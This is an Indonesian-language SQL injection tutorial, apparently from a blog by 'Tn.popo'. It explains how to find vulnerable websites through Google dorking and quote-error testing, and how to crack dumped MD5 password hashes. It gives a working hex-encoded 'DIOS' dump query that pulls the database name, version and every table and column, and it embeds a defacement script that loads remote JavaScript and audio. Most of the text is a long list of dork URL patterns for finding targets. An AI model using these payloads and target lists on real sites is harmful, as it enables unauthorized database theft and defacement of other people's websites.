Dork Sql

Tanks to

inInjectio

|Sumber:popojago.blogspot.com |

|Penulis:Tn.popo |

|Subcribe:afreno_popo

|Kata kata bijak:tidak ada orang bodoh orang bodoh hanyalah orang yang malas untuk melakuka
sesuatu jika pun IQ renda jika orang nya bersemangat maka dia akan berhasil

Bab 1 Penjelasan Sql Injection

Sql injection adalah teknik exploitasi kepada website yang memiliki kelemahan pada database sql ny
yaitu database mysql penybab ad any bug ini bias any tingkat keaman yang di setel rendah ato kesalan
programer ny yang lupa/tidak menyaring terlebih dahulu hasil coddingan mysql ny koreksi klo salah
hehehe

Dampak Serangan Sql Injection

Dampak dari bug sql injection seorang bug hunter/attacker dapat melihat database dari web yang di
penters tadi jika dalam database mysql ny terdapat dstabase password seorang attacker dapar dump
database dan database itru pun terbuka sebelum terbuka database password berbentuk md5 dan harud
I crack dulu cara ny cukup mudah crack md5 cykup ke googlke lalu ketikan crack md5 dan paste kan yang
tadi di dapat lalu tekan crack/semacam nya
Tanks to

Cara Menemukan web vuln SQL

Kita bisa menggunakan tools seperti Gr3nox ato semacam ny ato dengan cra manual seperti
ngedork./dorking bisa di lakukan di pencarian google lalu silahkan cari yang ada id nya lalu belakang id
kita kasih ‘ seperti di samping lalu jika terjadi eror saat di kasih koma di atas maka bisa di katkan vuln sql
tapi belum tentu kadang ada yang vuln pas ampe union eh di blok ama security web nya

Membuat dios SQL bermusik berlagu ada efek salju dan daun

<title>Inject by:Tn.popo</title>

<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js"
type="text/javascript"></script>

<script language="javascript">alert(" Inject by Tn.popo. ");</script>

<br><h1>Inject by:Tn.popo</h1>

Untuk sc daun ny kalian bisa ubah link yang https://cdn.rawgit blablabla nah kalin ganti aja dengan
https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js

Lalu kalian ke hex encode dan paste sc itu lalu tekan buton hex encode dan don nanti akan muncul
angka kalian copy aja terus di paling depan kasih 0x contoh

0x3C736372697074206C616E67756167653D226A617661736372697074223E616C657274282220496E6
A65637420627920546E2E706F706F2E2022293B3C2F7363726970743E0D0A3C62723E3C68313E696E6A
6563742062793A546E2E706F706F3C2F68313E0D0A3C736372697074207372633D2268747470733A2F2
F63646E2E7261776769742E636F6D2F62756E676672616E676B692F6566656B73616C6A752F326137383
03563372F6566656B2D73616C6A752E6A732220747970653D22746578742F6A61766173637269707422
3E3C2F7363726970743E0D0A3C617564696F206175746F706C61793D226175746F706C61792220636F6
E74726F6C733D22636F6E74726F6C7322207372633D2268747470733A2F2F612E746F7034746F702E696
F2F6D5F313839326A696B7077312E6D34612220747970653D22617564696F2F6D706567223E3C2F6175
64696F3E3C62723E

Terus kita kasih sc buat dump database

concat(hex encode kalian tadi paste di sini,'<br>','<img src

="">',database(),version(),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.colum
ns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20
,column_name))))x))

jadi nya

concat(0x3C736372697074206C616E67756167653D226A617661736372697074223E616C65727428222
0496E6A65637420627920546E2E706F706F2E2022293B3C2F7363726970743E0D0A3C62723E3C68313E
696E6A6563742062793A546E2E706F706F3C2F68313E0D0A3C736372697074207372633D22687474707
33A2F2F63646E2E7261776769742E636F6D2F62756E676672616E676B692F6566656B73616C6A752F32
Tanks to

613738303563372F6566656B2D73616C6A752E6A732220747970653D22746578742F6A6176617363726
97074223E3C2F7363726970743E0D0A3C617564696F206175746F706C61793D226175746F706C617922
20636F6E74726F6C733D22636F6E74726F6C7322207372633D2268747470733A2F2F612E746F7034746F
702E696F2F6D5F313839326A696B7077312E6D34612220747970653D22617564696F2F6D706567223E3
C2F617564696F3E3C62723E,'<br>','<img src
="">',database(),version(),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.colum
ns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20
,column_name))))x))

heheheh kepotong:v

Langsung aja dork nya:v

view_items.php?id=

home.php?cat=

item_book.php?CAT=

www/index.php?page=

schule/termine.php?view=

goods_detail.php?data=

storemanager/contents/item.php?page_code=

view_items.php?id=

customer/board.htm?mode=

help/com_view.html?code=

n_replyboard.php?typeboard=

eng_board/view.php?T****=

prev_results.php?prodID=

bbs/view.php?no=

gnu/?doc=

zb/view.php?uid=

global/product/product.php?gubun=

m_view.php?ps_db=

productlist.php?tid=

product-list.php?id=
Tanks to

onlinesales/product.php?product_id=

garden_equipment/Fruit-Cage/product.php?pr=

product.php?shopprodid=

product_info.php?products_id=

productlist.php?tid=

showsub.php?id=

productlist.php?fid=

products.php?cat=

products.php?cat=

product-list.php?id=

product.php?sku=

store/product.php?productid=

products.php?cat=

productList.php?cat=

product_detail.php?product_id=

product.php?pid=

view_items.php?id=

more_details.php?id=

county-facts/diary/vcsgen.php?id=

idlechat/message.php?id=

podcast/item.php?pid=

products.php?act=

details.php?prodId=

socsci/events/full_details.php?id=

ourblog.php?categoryid=

mall/more.php?ProdID=

archive/get.php?message_id=

review/review_form.php?item_id=

english/publicproducts.php?groupid=
Tanks to

news_and_notices.php?news_id=

rounds-detail.php?id=

gig.php?id=

board/view.php?no=

index.php?modus=

news_item.php?id=

rss.php?cat=

products/product.php?id=

details.php?ProdID=

els_/product/product.php?id=

store/description.php?iddesc=

socsci/news_items/full_story.php?id=

naboard/memo.php?bd=

bookmark/mybook/bookmark.php?bookPageNo=

board/board.html?table=

kboard/kboard.php?board=

order.asp?lotid=

goboard/front/board_view.php?code=

bbs/bbsView.php?id=

boardView.php?bbs=

eng/rgboard/view.php?&bbs_id=

product/product.php?cate=

content.php?p=

page.php?module=

?pid=

bookpage.php?id=

cbmer/congres/page.php?LAN=

content.php?id=

news.php?ID=
Tanks to

photogallery.php?id=

index.php?id=

product/product.php?product_no=

nyheder.htm?show=

book.php?ID=

print.php?id=

detail.php?id=

book.php?id=

content.php?PID=

more_detail.php?id=

content.php?id=

view_items.php?id=

view_author.php?id=

main.php?id=

english/fonction/print.php?id=

magazines/adult_magazine_single_page.php?magid=

product_details.php?prodid=

magazines/adult_magazine_full_year.php?magid=

products/card.php?prodID=

catalog/product.php?cat_id=

e_board/modifyform.html?code=

community/calendar-event-fr.php?id=

products.php?p=

news.php?id=

StoreRedirect.php?ID=

subcategories.php?id=

tek9.php?

template.php?Action=Item&pid=

topic.php?ID=
Tanks to

tuangou.php?bookid=

type.php?iType=

updatebasket.php?bookid=

updates.php?ID=

view.php?cid=

view_cart.php?title=

view_detail.php?ID=

viewcart.php?CartId=

viewCart.php?userID=

viewCat_h.php?idCategory=

viewevent.php?EventID=

viewitem.php?recor=

viewPrd.php?idcategory=

ViewProduct.php?misc=

voteList.php?item_ID=

whatsnew.php?idCategory=

WsAncillary.php?ID=

WsPages.php?ID=noticiasDetalle.php?xid=

sitio/item.php?idcd=

index.php?site=

de/content.php?page_id=

gallerysort.php?iid=

docDetail.aspx?chnum=

index.php?section=

index.php?page=

index.php?page=

en/publications.php?id=

events/detail.php?ID=

forum/profile.php?id=
Tanks to

media/pr.php?id=

content.php?ID=

cloudbank/detail.php?ID=

pages.php?id=

news.php?id=

beitrag_D.php?id=

content/index.php?id=

index.php?i=

?action=

index.php?page=

beitrag_F.php?id=

index.php?pageid=

page.php?modul=

detail.php?id=

index.php?w=

index.php?modus=

news.php?id=

news.php?id=

aktuelles/meldungen-detail.php?id=

item.php?id=

obio/detail.php?id=

page/de/produkte/produkte.php?prodID=

packages_display.php?ref=

shop/index.php?cPath=

modules.php?bookid=

view/7/9628/1.html?reply=

product_details.php?prodid=

catalog/product.php?pid=

rating.php?id=
Tanks to

?page=

catalog/main.php?cat_id=

index.php?page=

detail.php?prodid=

products/product.php?pid=

news.php?id=

book_detail.php?BookID=

catalog/main.php?cat_id=

catalog/main.php?cat_id=

default.php?cPath=

catalog/main.php?cat_id=

catalog/main.php?cat_id=

category.php?catid=

categories.php?cat=

categories.php?cat=

detail.php?prodID=

detail.php?id=

category.php?id=

hm/inside.php?id=

index.php?area_id=

gallery.php?id=

products.php?cat=

products.php?cat=

media/pr.php?id=

books/book.php?proj_nr=

products/card.php?prodID=

general.php?id=

news.php?t=

usb/devices/showdev.php?id=
Tanks to

content/detail.php?id=

templet.php?acticle_id=

news/news/title_show.php?id=

product.php?id=

index.php?url=

cryolab/content.php?cid=

ls.php?id=

s.php?w=

abroad/page.php?cid=

bayer/dtnews.php?id=

news/temp.php?id=

index.php?url=

book/bookcover.php?bookid=

index.php/en/component/pvm/?view=

product/list.php?pid=

cats.php?cat=

software_categories.php?cat_id=

print.php?sid=

about.php?cartID=

accinfo.php?cartId=

acclogin.php?cartID=

add.php?bookid=

add_cart.php?num=

addcart.php?

addItem.php

add-to-cart.php?ID=

addToCart.php?idProduct=

addtomylist.php?ProdId=

adminEditProductFields.php?intProdID=
Tanks to

advSearch_h.php?idCategory=

affiliate.php?ID=

affiliate-agreement.cfm?storeid=

affiliates.php?id=

ancillary.php?ID=

archive.php?id=

article.php?id=

phpx?PageID

basket.php?id=

Book.php?bookID=

book_list.php?bookid=

book_view.php?bookid=

BookDetails.php?ID=

browse.php?catid=

browse_item_details.php

Browse_Item_Details.php?Store_Id=

buy.php?

buy.php?bookid=

bycategory.php?id=

cardinfo.php?card=

cart.php?action=

cart.php?cart_id=

news.php?id=

aktuelles/meldungen-detail.php?id=

item.php?id=

obio/detail.php?id=

page/de/produkte/produkte.php?prodID=

packages_display.php?ref=

shop/index.php?cPath=
Tanks to

modules.php?bookid=

product-range.php?rangeID=

en/news/fullnews.php?newsid=

deal_coupon.php?cat_id=

show.php?id=

blog/index.php?idBlog=

redaktion/whiteteeth/detail.php?nr=

HistoryStore/pages/item.php?itemID=

aktuelles/veranstaltungen/detail.php?id=

tecdaten/showdetail.php?prodid=

?id=

rating/stat.php?id=

content.php?id=

viewapp.php?id=

item.php?id=

news/newsitem.php?newsID=

FernandFaerie/index.php?c=

show.php?id=

?cat=

categories.php?cat=

category.php?c=

product_info.php?id=

prod.php?cat=

store/product.php?productid=

browsepr.php?pr=

product-list.php?cid=

products.php?cat_id=

product.php?ItemID=

view-event.php?id=
Tanks to

content.php?id=

book.php?id=

page/venue.php?id=

print.php?sid=

colourpointeducational/more_details.php?id=

print.php?sid=

browse/book.php?journalID=

section.php?section=

bookDetails.php?id=

profiles/profile.php?profileid=

event.php?id=

gallery.php?id=

category.php?CID=

corporate/newsreleases_more.php?id=

print.php?id=

view_items.php?id=

more_details.php?id=

county-facts/diary/vcsgen.php?id=

idlechat/message.php?id=

podcast/item.php?pid=

products.php?act=

details.php?prodId=

socsci/events/full_details.php?id=

ourblog.php?categoryid=

mall/more.php?ProdID=

archive/get.php?message_id=

review/review_form.php?item_id=

english/publicproducts.php?groupid=

news_and_notices.php?news_id=
Tanks to

rounds-detail.php?id=

gig.php?id=

board/view.php?no=

index.php?modus=

news_item.php?id=

rss.php?cat=

products/product.php?id=

details.php?ProdID=

els_/product/product.php?id=

store/description.php?iddesc=

socsci/news_items/full_story.php?id=

modules/forum/index.php?topic_id=

feature.php?id=
Tanks to
Tanks to

Nomor wa saya:0858517691335

Blog: https://popojago.blogspot.com/2021/03/dork-sqli-2021-popojago.html

Sekian dari saya Tn.popo

Id ny lupa njerr brntar aku kasih scan barcode ku:v ini scan aktif ngab coba aja scan
Tanks to